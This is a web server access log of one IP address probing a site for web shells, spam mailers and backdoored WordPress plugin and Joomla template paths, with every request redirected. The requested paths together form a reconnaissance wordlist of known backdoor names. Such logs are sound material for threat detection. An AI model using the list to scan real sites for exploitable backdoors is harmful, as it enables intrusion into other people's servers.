196.251.80.56 - - [23/Sep/2025:11:22:44 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:47 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:49 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:53 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:01 -0400] "GET /alexusmailer2.0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:02 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:03 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:04 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:05 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:07 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:08 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:11 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:12 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:16 -0400] "GET /tmp_images/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:17 -0400] "GET /wp-admin/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:19 -0400] "GET /wp-content/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:20 -0400] "GET /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:22 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:23 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:29 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:31 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:34 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:35 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:38 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:38 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:38 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:38 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:38 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:38 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:38 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:39 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:40 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:44 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:44 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:44 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:44 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:44 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:51 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:54 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:25 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:28 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:30 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:32 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:35 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:42 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:43 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:45 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:46 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:49 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:51 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:52 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:54 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:55 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:56 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:58 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:22:59 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:09 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:10 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:13 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:14 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:15 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:19 -0400] "GET /wp-includes/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:24 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:25 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:29 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:30 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:32 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:34 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:34 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:34 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:37 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:38 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:38 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:44 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:44 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:45 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:48 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:50 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:57 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:58 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:23:59 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:02 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:11 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:15 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:17 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:22 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:25 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:26 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:30 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:32 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:33 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:40 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:43 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:46 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:46 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:49 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:52 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:13 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:14 -0400] "GET /1975.phP HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:39 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:45 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:48 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:52 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:58 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:09 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:11 -0400] "GET /fw.ph HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:11 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:13 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:13 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:22 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:29 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:34 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:36 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:55 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:03 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:11 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:14 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:20 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:33 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:01 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:03 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:04 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:07 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:08 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:10 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:20 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:35 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:36 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:39 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:42 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:44 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:44 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:46 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:24:49 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:13 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:30 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:48 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:49 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:25:56 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:00 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:02 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:04 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:07 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:15 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:16 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:18 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:19 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:24 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:25 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:31 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:34 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:34 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:45 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:26:52 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:08 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:28 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:36 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:40 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:40 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:39 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:40 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:40 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:41 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:43 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:45 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:45 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:47 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:51 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:54 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:56 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:01 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:03 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:05 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:12 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:12 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:16 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:19 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:23 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:27 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:31 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:36 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:42 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:44 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:46 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:52 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:55 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:57 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:58 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:01 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:04 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:07 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:11 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:13 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:20 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:24 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:28 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:28 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:35 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:42 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:45 -0400] "GET /wp-content/plugins/widget-logic HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:40 -0400] "GET /wp-includes/css/wp-config.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:40 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:43 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:44 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:49 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:27:58 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:07 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:09 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:11 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:21 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:25 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:29 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:33 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:35 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:38 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:41 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:48 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:50 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:28:53 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:06 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:09 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:14 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:16 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:17 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:28 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:28 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:28 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:28 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:31 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:33 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:11:29:37 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-"
